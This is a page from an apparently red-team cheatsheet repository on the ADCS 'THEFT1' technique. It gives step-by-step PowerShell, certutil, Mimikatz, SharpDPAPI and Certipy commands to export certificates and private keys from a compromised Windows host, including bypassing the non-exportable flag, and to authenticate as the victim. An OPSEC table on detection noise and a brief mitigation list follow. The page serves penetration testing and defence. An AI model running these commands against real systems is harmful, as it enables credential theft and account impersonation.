daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

theft1-exporting-certificates-and-keys.md (4905B)


      1 ---
      2 title: "THEFT1 — Exporting Certificates and Keys"
      3 description: "THEFT1 is the simplest credential-theft primitive in the ADCS taxonomy: harvest certificates that are already enrolled on a machine you control, rather…"
      4 category: active-directory
      5 subcategory: "ADCS & Certificates"
      6 tags: ["active-directory", "adcs"]
      7 tools: ["Mimikatz", "Certipy", "faketime", "PowerShell"]
      8 difficulty: advanced
      9 updated: "2026-08-10"
     10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/THEFT1 — Exporting Certificates and Keys.md"
     11 ---
     12 # THEFT1 — Exporting Certificates and Keys
     13 
     14 ## Quick Reference
     15 
     16 | Field | Value |
     17 |-------|-------|
     18 | **Category** | Credential Theft (local) |
     19 | **Difficulty** | Low |
     20 | **Pre-requisites** | Code execution as the cert's owner (or SYSTEM); a certificate with a usable private key in a Windows store |
     21 | **Tools** | Certipy, Mimikatz, SharpDPAPI, certutil |
     22 | **OPSEC Noise** | Low–Med — local API calls; Mimikatz key-patching touches LSASS/CryptoAPI |
     23 | **One-liner** | Pull a certificate **and its private key** out of a compromised host's certificate store, exporting to a `.pfx` you can authenticate with anywhere. |
     24 
     25 ***
     26 
     27 ## What Is THEFT1?
     28 
     29 THEFT1 is the simplest credential-theft primitive in the ADCS taxonomy: harvest certificates that are **already enrolled** on a machine you control, rather than requesting new ones. If a user or machine has an authentication certificate in their Windows store, that `.pfx` is a password-equivalent — export it and authenticate as them from your own box.
     30 
     31 The only wrinkle is the **exportable** flag. When a key is marked non-exportable, the standard export APIs refuse. Mimikatz can patch the CryptoAPI (CAPI) and CNG providers in memory to lie about that flag, making non-exportable keys exportable.
     32 
     33 ***
     34 
     35 ## Step 0 — Enumerate Local Certificates
     36 
     37 ```powershell
     38 # PowerShell — list certs in the current user's personal store with private keys
     39 Get-ChildItem Cert:\CurrentUser\My | Where-Object { $_.HasPrivateKey } |
     40   Format-List Subject, Issuer, Thumbprint, NotAfter, @{n='EKU';e={$_.EnhancedKeyUsageList}}
     41 
     42 # Machine store (needs admin)
     43 Get-ChildItem Cert:\LocalMachine\My | Where-Object { $_.HasPrivateKey }
     44 
     45 # certutil equivalent
     46 certutil -store My
     47 certutil -user -store My
     48 ```
     49 
     50 Look for certs with **Client Authentication (1.3.6.1.5.5.7.3.2)**, **Smart Card Logon**, **PKINIT**, or **Any Purpose** EKUs — those authenticate to AD.
     51 
     52 ***
     53 
     54 ## Step 1 — Export (Exportable Keys)
     55 
     56 ```powershell
     57 # PowerShell — export to PFX with a password
     58 $pw = ConvertTo-SecureString "Export123!" -AsPlainText -Force
     59 Export-PfxCertificate -Cert Cert:\CurrentUser\My\<THUMBPRINT> -FilePath C:\Temp\stolen.pfx -Password $pw
     60 ```
     61 
     62 ```powershell
     63 # Mimikatz — export every cert + key from both stores (writes .pfx files to cwd)
     64 mimikatz # crypto::certificates /export
     65 mimikatz # crypto::certificates /systemstore:local_machine /export
     66 ```
     67 
     68 ***
     69 
     70 ## Step 2 — Export (Non-Exportable Keys)
     71 
     72 If the key is flagged non-exportable, patch the providers first, then export.
     73 
     74 ```powershell
     75 mimikatz # privilege::debug
     76 mimikatz # crypto::capi                 # patch CAPI in this process
     77 mimikatz # crypto::cng                  # patch KeyIso (CNG) — needs SYSTEM
     78 mimikatz # crypto::certificates /export # now succeeds on non-exportable keys
     79 ```
     80 
     81 ```powershell
     82 # SharpDPAPI alternative — pulls certs and decrypts keys via DPAPI, ignores the flag
     83 SharpDPAPI.exe certificates /mkfile:masterkeys.txt
     84 ```
     85 
     86 ***
     87 
     88 ## Step 3 — Convert & Authenticate
     89 
     90 ```bash
     91 # Bring the .pfx to your attack host. Strip/normalise the password if needed:
     92 certipy-ad cert -export -pfx stolen.pfx -password 'Export123!' -out clean.pfx
     93 
     94 # Authenticate the stolen identity (PKINIT -> TGT + NT hash)
     95 certipy-ad auth -pfx clean.pfx -dc-ip $TARGET
     96 ```
     97 
     98 > [!tip] Clock skew
     99 > If `certipy auth` returns `KRB_AP_ERR_SKEW`, wrap it with faketime. See faketime-cheatsheet.
    100 
    101 ***
    102 
    103 ## OPSEC Considerations
    104 
    105 | Action | Log / Artefact | Noise |
    106 | :-- | :-- | :-- |
    107 | `Get-ChildItem Cert:` / certutil enum | none by default | 🟢 Low |
    108 | `Export-PfxCertificate` | CAPI2 operational log 70/90 (if enabled) | 🟢 Low |
    109 | Mimikatz `crypto::cng` | LSASS access, patches KeyIso | 🔴 High (EDR-sensitive) |
    110 
    111 ***
    112 
    113 ## Mitigation
    114 
    115 - Mark private keys **non-exportable** and back them with a **TPM** or **HSM** where possible.
    116 - Restrict local admin / block LSASS access (Credential Guard, ASR rules) to stop provider patching.
    117 - Prefer short-lived certificates so a stolen `.pfx` has a small window.
    118 - Monitor for Mimikatz `crypto::*` behaviour and unexpected `.pfx` creation.
    119 
    120 ***
    121 
    122 ## See Also
    123 
    124 - _ADCS Attack Methodology Guide · THEFT2 — User Certificate Theft via DPAPI · THEFT5 — NTLM Theft via PKINIT (UnPAC-the-Hash)
    125 - Sources: SpecterOps *Certified Pre-Owned*; [Certipy Wiki — Post-Exploitation](https://github.com/ly4k/Certipy/wiki/07-%E2%80%90-Post%E2%80%90Exploitation)